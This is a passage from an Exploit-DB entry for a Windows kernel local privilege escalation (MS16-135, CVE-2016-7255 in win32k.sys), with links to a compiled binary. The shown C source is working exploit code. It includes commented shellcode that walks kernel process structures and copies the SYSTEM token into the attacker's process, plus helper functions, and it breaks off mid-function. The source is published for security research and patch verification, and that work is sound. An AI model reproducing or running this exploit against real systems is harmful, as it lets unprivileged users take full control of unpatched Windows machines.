Exploit-DB #41015
Description: Microsoft Windows Kernel - 'win32k.sys NtSetWindowLongPtr' Local Privilege Escalation (MS16-135) (2)
Type: local
Platform: windows
Date: 2017-01-08
Author: Rick Larabee

Exploit:
/*
Source: https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html

Binary: https://github.com/rlarabee/exploits/raw/8b9eb646516d7f022a010f28018209f331c28975/cve-2016-7255/compiled/cve-2016-7255.exe
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41015.exe
*/

// ricklarabee.blogspot.com

//This program is free software; you can redistribute it and/or
//modify it under the terms of the GNU General Public License
//as published by the Free Software Foundation.

//This program is distributed in the hope that it will be useful,
//but WITHOUT ANY WARRANTY; without even the implied warranty of
//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
//GNU General Public License for more details.

//You should have received a copy of the GNU General Public License
//along with this program; if not, write to the Free Software
//Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

// Credits: enrique.nissim@IOActive.com: https://github.com/IOActive/I-know-where-your-page-lives/tree/master/code/CVE-2016-7255
// PoC from https://github.com/tinysec/public/tree/master/CVE-2016-7255

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib, "advapi32")

UINT64 PML4_BASE;
UINT PML4_SELF_REF_INDEX;
UINT64 PML4_SELF_REF = 0xFFFFF6FB7DBEDF68;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define GET_INDEX(va)  ( ((va >> 39) & 0x1ff )) 

////////////////////////////////////////////////////////
// Define Data Types
////////////////////////////////////////////////////////
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    PVOID  Unknown1;
    PVOID  Unknown2;
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                                        OUT PVOID                   SystemInformation,
                                                        IN ULONG                    SystemInformationLength,
                                                        OUT PULONG ReturnLength);

typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
													OUT PULONG Interval);

NtQuerySystemInformation_t NtQuerySystemInformation;
NtQueryIntervalProfile_t NtQueryIntervalProfile;
                  
char shellcode[] = {
	//0xcc,
	0xfa, 															// CLI
	0x9c, 															// PUSHFQ
	0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,  	// MOV RAX, Original Pointer
	0x50, 															// PUSH RAX
	0x51, 															// PUSH RCX
	0x48, 0xb9, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,  	// MOV RCX, [OverwriteAddr+OverwriteOffset]
	0x48, 0x89, 0x01,  												// MOV    QWORD PTR [RCX], RAX
	0xb9, 0x90, 0x90, 0x90, 0x90,  									// MOV ECX, PID
	0x53, 															// PUSH RBX

	0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  			// MOV    RAX,QWORD PTR gs:0x188
	0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,						// MOV    RAX,QWORD PTR [RAX+0xb8] EPROCESS
	0x48, 0x8d, 0x80, 0x90, 0x90, 0x00, 0x00,						// LEA    RAX,[RAX+0xActiveProcessLinkOffset] 
	//<tag>
	0x48, 0x8b, 0x00,												// MOV    RAX,QWORD PTR [RAX]
	0x48, 0x8b, 0x58, 0xf8,											// MOV    RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
	0x48, 0x83, 0xfb, 0x04,											// CMP    RBX,0x4
	0x75, 0xf3,														// JNE    <tag>
	0x48, 0x8b, 0x98, 0x90, 0x90, 0x90, 0x90,						// MOV    RBX, QWORD PTR [RAX+0x60] // GET TOKEN of SYSTEM

	0x53, 															// PUSH RBX
	//<tag2>
	0x48, 0x8b, 0x00,												// MOV    RAX,QWORD PTR [RAX]
	0x48, 0x8b, 0x58, 0xf8,											// MOV    RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
	0x39, 0xcb,														// CMP    EBX, ECX // our PID
	0x75, 0xf5,														// JNE    <tag2>
	0x5b, 															// POP RBX
	0x48, 0x89, 0x98, 0x90, 0x90, 0x90, 0x90,						// MOV    QWORD PTR[RAX + 0x60], RBX

	0x5b, // POP RBX
	0x59, // POP RCX
	0x58, // POP RAX
	0x9d, // POPFQ

	0xfb, // STI
	0xff, 0xe0 // JMP RAX
};

ULONG __cdecl DbgPrint(__in char* Format, ...)
{
	CHAR* pszDbgBuff = NULL;
	va_list VaList = NULL;
	ULONG ulRet = 0;

	do
	{
		pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0, 1024 * sizeof(CHAR));
		if (NULL == pszDbgBuff)
		{
			break;
		}
		RtlZeroMemory(pszDbgBuff, 1024 * sizeof(CHAR));

		va_start(VaList, Format);

		_vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList);


		OutputDebugStringA(pszDbgBuff);

		va_end(VaList);

	} while (FALSE);

	if (NULL != pszDbgBuff)
	{
		HeapFree(GetProcessHeap(), 0, pszDbgBuff);
		pszDbgBuff = NULL;
	}

	return ulRet;
}


int _sim_key_down(WORD wKey)
{
	INPUT stInput = { 0 };

	do
	{
		stInput.type = INPUT_KEYBOARD;
		stInput.ki.wVk = wKey;
		stInput.ki.dwFlags = 0;

		SendInput(1, &stInput, sizeof(stInput));

	} while (FALSE);

	return 0;
}

int _sim_key_up(WORD wKey)
{
	INPUT stInput = { 0 };

	do
	{
		stInput.type = INPUT_KEYBOARD;
		stInput.ki.wVk = wKey;
		stInput.ki.dwFlags = KEYEVENTF_KEYUP;

		SendInput(1, &stInput, sizeof(stInput));

	} while (FALSE);

	return 0;
}

int _sim_alt_shift_esc()
{
	int i = 0;

	do
	{
		_sim_key_down(VK_MENU);
		_si